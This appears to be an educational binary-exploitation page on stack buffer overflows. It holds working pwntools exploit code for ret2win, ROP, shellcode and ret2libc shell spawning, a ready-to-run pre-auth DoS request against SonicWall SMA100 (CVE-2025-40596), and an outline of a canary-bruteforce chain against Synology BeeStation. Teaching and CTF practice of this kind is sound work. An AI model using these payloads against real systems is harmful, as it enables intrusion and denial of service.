Binary Exploitation

Stack Overflow

Stack-based buffer overflow exploitation covering return address overwrite, shellcode injection, NOP sleds, and controlling program execution flow.

Contents

Stack Overflow

Sources: HackTricks - Stack Overflow | Crypto-Cat Binary Exploitation 101


What is a Stack Overflow?

A stack overflow occurs when a program writes more data to the stack than allocated. This overwrites adjacent memory — including the saved return address (EIP/RIP) and saved base pointer (EBP/RBP).

Vulnerable Functions

gets(buffer);        // NEVER use - no bounds checking
strcpy(dst, src);    // No length limit
strcat(dst, src);    // No length limit
sprintf(buf, fmt);   // No length limit
scanf("%s", buf);    // No length limit

// These CAN be vulnerable if length > allocation:
fgets(buf, len, fp); 
read(fd, buf, len);
memcpy(dst, src, len);

Example Vulnerable Code

void vulnerable() {
    char buffer[128];
    printf("Enter some text: ");
    gets(buffer); // <-- OVERFLOW HERE
    printf("You entered: %s\n", buffer);
}

Finding the Offset

Method 1: De Bruijn Sequence (pwntools)

from pwn import *

# Generate pattern
pattern = cyclic(1000)

# After crash, find offset from EIP value
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)
print(f"Offset: {offset}")

Method 2: GEF/GDB

# Generate pattern
pattern create 200

# After crash, find offset
pattern search $rsp
pattern search "avaaawaa"

Method 3: Manual

# Send increasing 'A's until crash
python3 -c 'print("A"*1000)' | ./binary
# If crash at 0x41414141 → you control EIP

Exploitation Techniques

1. Ret2win (Simplest)

There’s a hidden function (e.g., win(), flag()) that’s never called. Overwrite return address to call it.

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

offset = 76  # found via pattern
win_addr = elf.symbols['win']  # or find via objdump

payload = b'A' * offset
payload += p32(win_addr)

p.sendline(payload)
p.interactive()

2. Ret2win with Parameters (64-bit)

In x86-64, first 6 args go in registers: RDI, RSI, RDX, RCX, R8, R9

from pwn import *

elf = ELF('./vuln')
rop = ROP(elf)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]  # stack alignment

payload = b'A' * offset
payload += p64(ret)           # align stack (Ubuntu 18.04+)
payload += p64(pop_rdi)
payload += p64(0xdeadbeef)    # arg1
payload += p64(elf.symbols['win'])

p.sendline(payload)

3. Stack Shellcode (NX disabled)

from pwn import *

context.arch = 'i386'  # or 'amd64'
shellcode = asm(shellcraft.sh())

buf_addr = 0xffffd080  # address of buffer (no ASLR)

payload = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p32(buf_addr)

p.sendline(payload)

4. Ret2libc (NX enabled)

from pwn import *

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./vuln')

# If ASLR disabled:
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))

payload = b'A' * offset
payload += p32(system)
payload += p32(0xdeadbeef)  # fake return addr
payload += p32(bin_sh)

p.sendline(payload)

64-bit vs 32-bit Key Differences

Feature32-bit64-bit
Addresses4 bytes8 bytes
Args passingStackRDI, RSI, RDX, RCX, R8, R9
Return addrp32()p64()
Stack alignmentNot neededNeed ret gadget before function calls
ROP gadgetspop eax; retpop rdi; ret etc.

Real-World CVE Examples (from HackTricks)

CVE-2025-40596 (SonicWall SMA100)

char version[3];
char endpoint[0x800] = {0};
// No length limit on %s!
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
# Pre-auth DoS
import requests
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

CVE-2025-12686 (Synology BeeStation - Pwn2Own 2025)

  • Pre-auth overflow in Base64-decoded JSON
  • Fork-based server → all children share same canary
  • Brute-force canary byte-by-byte using HTTP response oracle (200 vs 502)
  • Once canary + PIE base known → ROP chain to execl("/bin/bash")

References